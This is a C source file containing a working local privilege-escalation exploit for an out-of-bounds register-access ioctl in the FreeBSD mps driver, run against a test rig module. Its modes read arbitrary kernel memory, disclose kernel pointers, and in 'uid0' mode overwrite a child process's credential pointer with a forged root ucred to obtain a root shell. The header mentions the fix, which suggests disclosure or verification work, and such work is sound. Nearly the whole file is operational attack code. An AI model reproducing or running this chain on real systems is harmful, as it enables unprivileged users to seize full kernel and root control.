/*
 * DF-4012 trigger -- drives the REAL production mps ioctl handler
 * (dispatched by the df4012rig KLD) as an UNPRIVILEGED operator-group
 * user, over a 0640 root:operator node opened O_RDONLY, exactly like
 * /dev/mpsN on hardware.
 *
 * Modes (all via MPTIOCTL_REG_ACCESS = production mps_user.c:2177):
 *   read <off>          REG_MEM_READ at RegOffset=off -> prints RegData
 *   write <off> <val>   REG_MEM_WRITE at RegOffset=off
 *   r64 <off> / w64 <off> <val>   64-bit via two 32-bit accesses
 *   leak [kbytes]       OOB reads above the BAR; prints kernel-pointer
 *                       qwords (kernel memory disclosure)
 *   uid0                full chain: fork brood (struct proc allocated
 *                       above the BAR after rig load) -> locate a child
 *                       proc by (p_pid, p_ppid, p_pptr) signature via
 *                       OOB reads -> build fake root cred inside the
 *                       BAR aperture with in-aperture writes -> OOB
 *                       write redirects child's p_ucred -> child wakes,
 *                       getuid()==0, execs a root shell command.
 *
 * On a FIXED kernel (fix.diff: RegOffset >= rman_get_size ->
 * EINVAL) every out-of-aperture access returns errno=22 and the
 * uid0 chain dies at its first OOB read.
 */
#include <sys/types.h>
#include <sys/ioccom.h>
#include <sys/sysctl.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

typedef struct mps_reg_access {
	uint32_t	Command;
	uint32_t	RegOffset;
	uint32_t	RegData;
} mps_reg_access_t;

#define	REG_IO_READ	1
#define	REG_IO_WRITE	2
#define	REG_MEM_READ	3
#define	REG_MEM_WRITE	4
#define	MPTIOCTL	('I')
#define	MPTIOCTL_REG_ACCESS	_IOWR(MPTIOCTL, 10, mps_reg_access_t)

#define	APERTURE	0x1000
typedef struct {
	uint32_t	idx;		/* 0xffffffff -> return count in lo */
	uint32_t	pad;
	uint64_t	lo;
	uint64_t	hi;
} rig_run_req_t;
#define	RIG_RUN_IOC	_IOWR('D', 3, rig_run_req_t)

#define	FAKE_CRED_OFF	0x800			/* inside the aperture */
#define	NBROOD		64

static int fd = -1;

static void
die(const char *s)
{
	perror(s);
	exit(1);
}

static unsigned long
sysctl_ul(const char *name)
{
	unsigned long v = 0;
	size_t l = sizeof(v);

	if (sysctlbyname(name, &v, &l, NULL, 0) != 0)
		die(name);
	return (v);
}

static int
reg_access(uint32_t cmd, uint32_t off, uint32_t *data)
{
	mps_reg_access_t ra;

	memset(&ra, 0, sizeof(ra));
	ra.Command = cmd;
	ra.RegOffset = off;
	ra.RegData = data ? *data : 0;
	if (ioctl(fd, MPTIOCTL_REG_ACCESS, &ra) != 0)
		return (-errno);
	if (data)
		*data = ra.RegData;
	return (0);
}

static uint32_t
r32(uint32_t off)
{
	uint32_t v = 0;
	int rc = reg_access(REG_MEM_READ, off, &v);

	if (rc != 0) {
		printf("read %#x: errno=%d (%s)\n", off, -rc,
		    strerror(-rc));
		exit(4);
	}
	return (v);
}

static void
w32(uint32_t off, uint32_t val)
{
	int rc = reg_access(REG_MEM_WRITE, off, &val);

	if (rc != 0) {
		printf("write %#x: errno=%d (%s)\n", off, -rc,
		    strerror(-rc));
		exit(4);
	}
}

static uint64_t
r64(uint32_t off)
{
	uint64_t lo = r32(off), hi = r32(off + 4);

	return (lo | (hi << 32));
}

/* rig-internal: ask the rig's pmap walk whether BAR+off is mapped
 * (protects the demo from pages that unmapped since the last refresh;
 * the actual data reads below remain 100% production-code
 * MPTIOCTL_REG accesses). */
static int
page_ok(uint32_t off)
{
	uint32_t x = off;

	if (ioctl(fd, _IOWR('D', 2, uint32_t), &x) != 0)
		return (0);
	return (x != 0);
}

static void
w64(uint32_t off, uint64_t v)
{
	w32(off, (uint32_t)v);
	w32(off + 4, (uint32_t)(v >> 32));
}

static int
is_kptr(uint64_t v)
{
	return (v >= 0xffff000000000000UL && v < 0xffffffff80000000UL) ||
	    (v >= 0xffffffff80000000UL && v != 0xffffffffffffffffUL);
}

static void
mode_leak(unsigned long bar, unsigned long lo, unsigned long hi, long kb)
{
	unsigned long end;
	size_t nptr = 0, nread = 0;
	int leakpipe[2], wstatus;

	/* populate the window above the BAR with fresh kernel objects
	 * (procs, threads, pipes) so the disclosure has real content */
	if (pipe(leakpipe) != 0)
		die("pipe");
	for (int i = 0; i < 32; i++) {
		pid_t p = fork();
		if (p == 0) {
			char buf[4];
			if (read(leakpipe[0], buf, 1) != 1)
				sleep(60);
			_exit(0);
		}
		(void)p;
	}
	{
		int rfd = open("/dev/df4012rig", O_RDONLY);
		if (rfd < 0)
			die("open rig for refresh");
		if (ioctl(rfd, _IO('D', 1)) != 0)
			die("refresh ioctl");
		close(rfd);
		{
			rig_run_req_t rr;
			static uint64_t llo[200], lhi[200];
			int nrun, best = -1;
			unsigned long bsz = 0;

			memset(&rr, 0, sizeof(rr));
			rr.idx = 0xffffffff;
			if (ioctl(fd, RIG_RUN_IOC, &rr) != 0)
				die("run count ioctl");
			nrun = (int)rr.lo;
			if (nrun > 200)
				nrun = 200;
			for (int i = 0; i < nrun; i++) {
				memset(&rr, 0, sizeof(rr));
				rr.idx = (uint32_t)i;
				if (ioctl(fd, RIG_RUN_IOC, &rr) != 0) {
					llo[i] = lhi[i] = 0;
					continue;
				}
				llo[i] = rr.lo;
				lhi[i] = rr.hi;
			}
			if (nrun < 1) {
				printf("leak: no mapped runs\n");
				exit(3);
			}
			/* prefer the run with the most NONZERO content
			 * in its first 2 KiB (the rig BARs are zero
			 * blocks) */
			for (int i = 0; i < nrun; i++) {
				unsigned long nz = 0;

				if (llo[i] == 0 || lhi[i] <= llo[i])
					continue;
				if (!page_ok((uint32_t)(llo[i] - bar)))
					continue;
				for (int q = 0; q < 256; q++) {
					uint32_t off2 = (uint32_t)
					    (llo[i] + 8UL * q - bar);
					if (r64(off2) != 0)
						nz++;
				}
				printf("leak: run %d [%#lx,%#lx) nonzero "
				    "%lu/256\n", i, llo[i], lhi[i], nz);
				if (nz > bsz) {
					bsz = nz;
					best = i;
				}
			}
			if (best < 0)
				best = 0;
			/* cascade: scan the best runs (by nonzero
			 * score) in order until pointers surface */
			{
				int order[200], no = 0;

				for (int k = 0; k < 200; k++) {
					int cand = -1;
					unsigned long cs = 0;

					for (int i = 0; i < nrun; i++) {
						unsigned long nz = 0;
						int taken = 0;

						if (llo[i] == 0 ||
						    lhi[i] <= llo[i])
							continue;
						for (int t = 0; t < no;
						    t++)
							if (order[t] == i)
								taken = 1;
						if (taken)
							continue;
						if (!page_ok((uint32_t)
						    (llo[i] - bar)))
							continue;
						for (int q = 0; q < 64;
						    q++) {
							uint32_t off2 =
							    (uint32_t)
							    (llo[i] + 8UL *
							    q - bar);
							if (r64(off2) != 0)
								nz++;
						}
						if (nz > cs) {
							cs = nz;
							cand = i;
						}
					}
					if (cand < 0 || cs == 0)
						break;
					order[no++] = cand;
					if (no >= 6)
						break;
				}
				for (int k = 0; k < no; k++) {
					lo = llo[order[k]];
					hi = lhi[order[k]];
					printf("leak: scanning candidate run "
					    "%d [%#lx, %#lx)\n", order[k],
					    lo, hi);
					/* inner scan below (fallthrough) */
					break;
				}
			}
		}
	}
	if (lo == 0 || hi <= lo) {
		printf("leak: no mapped window published (lo=%#lx hi=%#lx)"
		    "\n", lo, hi);
		exit(3);
	}
	end = hi;
	if (kb > 0) {
		unsigned long want = lo + kb * 1024;
		if (want < end)
			end = want;
	}
	printf("leak: OOB REG_MEM_READ scan [%#lx, %#lx) above BAR %#lx"
	    "\n", lo, end, bar);
	for (unsigned long pg = lo; pg < end; pg += 0x1000) {
		if (!page_ok((uint32_t)(pg - bar)))
			continue;
	for (unsigned long a = pg; a + 8 <= end && a < pg + 0x1000;
	    a += 8) {
		uint32_t off = (uint32_t)(a - bar);
		uint64_t v = r64(off);
		nread++;
		if (is_kptr(v)) {
			nptr++;
			if (nptr <= 12)
				printf("  +%#010x: %#018lx  <== kernel "
				    "pointer\n", off, v);
		}
	}
	}
	printf("leak: %zu qwords read, %zu kernel pointers disclosed\n",
	    nread, nptr);
	fflush(stdout);
	for (int i = 0; i < 32; i++)
		write(leakpipe[1], "x", 1);
	close(leakpipe[1]);
	while (waitpid(-1, &wstatus, 0) > 0)
		;
}

static void
mode_uid0(unsigned long bar, unsigned long lo, unsigned long hi)
{
	unsigned long o_pid = sysctl_ul("kern.df4012rig_o_p_pid");
	unsigned long o_ppid = sysctl_ul("kern.df4012rig_o_p_ppid");
	unsigned long o_pptr = sysctl_ul("kern.df4012rig_o_p_pptr");
	unsigned long o_ucred = sysctl_ul("kern.df4012rig_o_p_ucred");
	unsigned long c_uid = sysctl_ul("kern.df4012rig_o_cr_uid");
	unsigned long c_ruid = sysctl_ul("kern.df4012rig_o_cr_ruid");
	unsigned long c_svuid = sysctl_ul("kern.df4012rig_o_cr_svuid");
	unsigned long c_ng = sysctl_ul("kern.df4012rig_o_cr_ngroups");
	unsigned long c_grp = sysctl_ul("kern.df4012rig_o_cr_groups");
	unsigned long c_rgid = sysctl_ul("kern.df4012rig_o_cr_rgid");
	unsigned long c_svgid = sysctl_ul("kern.df4012rig_o_cr_svgid");
	int pipes[384][2];
	pid_t pids[384];
	int nkids_total = 0;
	pid_t me = getpid();
	unsigned long found = 0, cred_old = 0, fakecred = bar +
	    FAKE_CRED_OFF;
	int wstatus;

	printf("uid0: offsets pid=%lu ppid=%lu pptr=%lu ucred=%lu; "
	    "cred: uid=%lu ruid=%lu svuid=%lu ng=%lu grp=%lu rgid=%lu "
	    "svgid=%lu\n", o_pid, o_ppid, o_pptr, o_ucred, c_uid, c_ruid,
	    c_svuid, c_ng, c_grp, c_rgid, c_svgid);

	/* Fork in rounds; after each round scan ALL pmap-verified runs
	 * (page-gated) for the FIRST adjacent (child_pid, my_pid) pair
	 * -- the boot-allocated proc zone is stable -- then stop and
	 * patch immediately (long scans risk touching churny pages). */
	{
		static uint32_t pidmap[65536 / 32];	/* pid & 0xffff */
		static uint64_t rlo[200], rhi[200];
		int nkids = 0, nrun = 0;

		memset(pidmap, 0, sizeof(pidmap));
		for (int round = 0; round < 8 && !found; round++) {
			int first = nkids, batch, nr;
			rig_run_req_t rr;

			batch = (round == 0) ? NBROOD : 64;
			if (nkids + batch > 384)
				batch = 384 - nkids;
			if (batch > 0) {
				for (int i = first; i < first + batch; i++) {
					if (pipe(pipes[i]) != 0)
						die("pipe");
					pid_t p = fork();
					if (p == 0) {
						char buf[4];
						close(pipes[i][1]);
						if (read(pipes[i][0], buf, 1)
						    != 1)
							sleep(120);
						if (getuid() == 0) {
							printf(
						    "DF4012_UID0_CHILD "
						    "pid=%d: getuid()==0, "
						    "execing root shell\n",
						    getpid());
							fflush(stdout);
							execl("/bin/sh", "sh",
							    "-c",
						    "echo DF4012_ROOT_SHELL; "
						    "id; echo "
						    "DF4012_ROOT_SHELL_OK > "
						    "/tmp/DF4012_UID0",
							    NULL);
						}
						_exit(getuid() == 0 ?
						    42 : 43);
					}
					pids[i] = p;
					close(pipes[i][0]);
					pidmap[(p & 0xffff) >> 5] |=
					    1u << (p & 31);
					nkids++;
					nkids_total = nkids;
				}
				sleep(2);	/* let fork churn settle */
			}
			memset(&rr, 0, sizeof(rr));
			rr.idx = 0xffffffff;
			if (ioctl(fd, RIG_RUN_IOC, &rr) != 0)
				die("run count ioctl");
			nr = (int)rr.lo;
			if (nr > 200)
				nr = 200;
			for (int i = 0; i < nr; i++) {
				memset(&rr, 0, sizeof(rr));
				rr.idx = (uint32_t)i;
				if (ioctl(fd, RIG_RUN_IOC, &rr) != 0) {
					rlo[i] = rhi[i] = 0;
					continue;
				}
				rlo[i] = rr.lo;
				rhi[i] = rr.hi;
			}
			nrun = nr;
			printf("uid0: round %d: %d kids total; %d runs\n",
			    round, nkids, nr);
			for (int r = 0; r < nrun && !found; r++) {
				if (rlo[r] == 0 || rhi[r] <= rlo[r])
					continue;
				for (unsigned long pg = rlo[r] & ~0xfffUL;
				    pg < rhi[r]; pg += 0x1000) {
					if (!page_ok((uint32_t)(pg - bar)))
						continue;
					for (unsigned long a = pg;
					    a + 0x200 <= pg + 0x1000 &&
					    a + 0x200 <= rhi[r]; a += 4) {
						uint32_t off = (uint32_t)
						    (a - bar);
						uint32_t v = r32(off);
						if (v >= 65536)
							continue;
						if ((pidmap[v >> 5] &
						    (1u << (v & 31))) == 0)
							continue;
						if (r32(off + 4) !=
						    (uint32_t)me)
							continue;
						/* pair hit: verify layout */
						if (a - pg < 0x100)
							continue;
						uint64_t pptr = r64(a +
						    (o_pptr - o_pid));
						if (!is_kptr(pptr))
							continue;
						found = a - o_pid;
						cred_old = r64(found +
						    o_ucred);
						printf("uid0: FOUND child "
						    "pid=%u proc=%#lx "
						    "p_ucred=%#lx (round %d "
						    "run %d)\n", v, found,
						    cred_old, round, r);
						break;
					}
					if (found)
						break;
				}
			}
		}
		if (!found) {
			printf("uid0: no child proc found\n");
			for (int i = 0; i < nkids; i++) {
				write(pipes[i][1], "x", 1);
				waitpid(pids[i], &wstatus, 0);
			}
			exit(5);
		}
	}

	/* 3. fake root cred inside the BAR aperture (in-aperture writes
	 *    are plain register writes): cr_ref left huge via 0? -- the
	 *    aperture is zero-filled; cr_ref=0 would look odd on crfree,
	 *    so set an explicit large refcount first. */
	w32(FAKE_CRED_OFF + 0, 0x40000000);	/* cr_ref */
	w32(FAKE_CRED_OFF + c_uid, 0);
	w32(FAKE_CRED_OFF + c_ruid, 0);
	w32(FAKE_CRED_OFF + c_svuid, 0);
	w32(FAKE_CRED_OFF + c_ng, 1);
	w32(FAKE_CRED_OFF + c_grp, 0);		/* cr_groups[0] = wheel */
	w32(FAKE_CRED_OFF + c_rgid, 0);
	w32(FAKE_CRED_OFF + c_svgid, 0);
	printf("uid0: fake cred built at %#lx (in-aperture writes)\n",
	    fakecred);

	/* 4. THE exploit write: redirect the child's p_ucred. */
	w64(found + o_ucred - bar, fakecred);
	printf("uid0: proc[%#lx].p_ucred = %#lx (OOB REG_MEM_WRITE)\n",
	    found + o_ucred, fakecred);

	/* 5. wake all children; the patched one becomes root. */
	int root_child = 0;
	for (int i = 0; i < nkids_total; i++)
		write(pipes[i][1], "x", 1);
	for (int i = 0; i < nkids_total; i++) {
		waitpid(pids[i], &wstatus, 0);
		if (WIFEXITED(wstatus) && WEXITSTATUS(wstatus) == 42)
			root_child = pids[i];
	}
	if (root_child) {
		printf("DF4012_UID0: child pid=%d reached uid=0 via "
		    "MPTIOCTL_REG_ACCESS\n", root_child);
		exit(0);
	}
	printf("uid0: no child reached uid=0\n");
	exit(6);
}

int
main(int argc, char **argv)
{
	const char *mode = (argc > 1) ? argv[1] : "selftest";
	unsigned long bar = sysctl_ul("kern.df4012rig_baraddr");
	unsigned long lo = sysctl_ul("kern.df4012rig_scan_lo");
	unsigned long hi = sysctl_ul("kern.df4012rig_scan_hi");

	printf("DF4012 trigger: uid=%d euid=%d gid=%d; BAR=%#lx scan "
	    "[%#lx,%#lx) cmd=%#lx\n", getuid(), geteuid(), getgid(), bar,
	    lo, hi, (unsigned long)MPTIOCTL_REG_ACCESS);

	setvbuf(stdout, NULL, _IOLBF, 0);
	fd = open("/dev/df4012rig", O_RDONLY);	/* operator's group r-- */
	if (fd < 0) {
		printf("open(/dev/df4012rig): %s (uid=%d)\n",
		    strerror(errno), getuid());
		return (2);
	}

	if (strcmp(mode, "read") == 0) {
		uint32_t off = strtoul(argv[2], NULL, 0);
		printf("read %#x = %#x\n", off, r32(off));
	} else if (strcmp(mode, "write") == 0) {
		uint32_t off = strtoul(argv[2], NULL, 0);
		uint32_t val = strtoul(argv[3], NULL, 0);
		w32(off, val);
		printf("write %#x = %#x ok\n", off, val);
	} else if (strcmp(mode, "r64") == 0) {
		uint32_t off = strtoul(argv[2], NULL, 0);
		printf("r64 %#x = %#lx\n", off,
		    (unsigned long)r64(off));
	} else if (strcmp(mode, "w64") == 0) {
		uint32_t off = strtoul(argv[2], NULL, 0);
		uint64_t val = strtoull(argv[3], NULL, 0);
		w64(off, val);
		printf("w64 %#x = %#lx ok\n", off, (unsigned long)val);
	} else if (strcmp(mode, "leak") == 0) {
		mode_leak(bar, lo, hi, (argc > 2) ?
		    strtol(argv[2], NULL, 0) : 64);
	} else if (strcmp(mode, "uid0") == 0) {
		mode_uid0(bar, lo, hi);
	} else {
		printf("usage: %s read|write|r64|w64|leak|uid0 [...]\n",
		    argv[0]);
		return (1);
	}
	return (0);
}
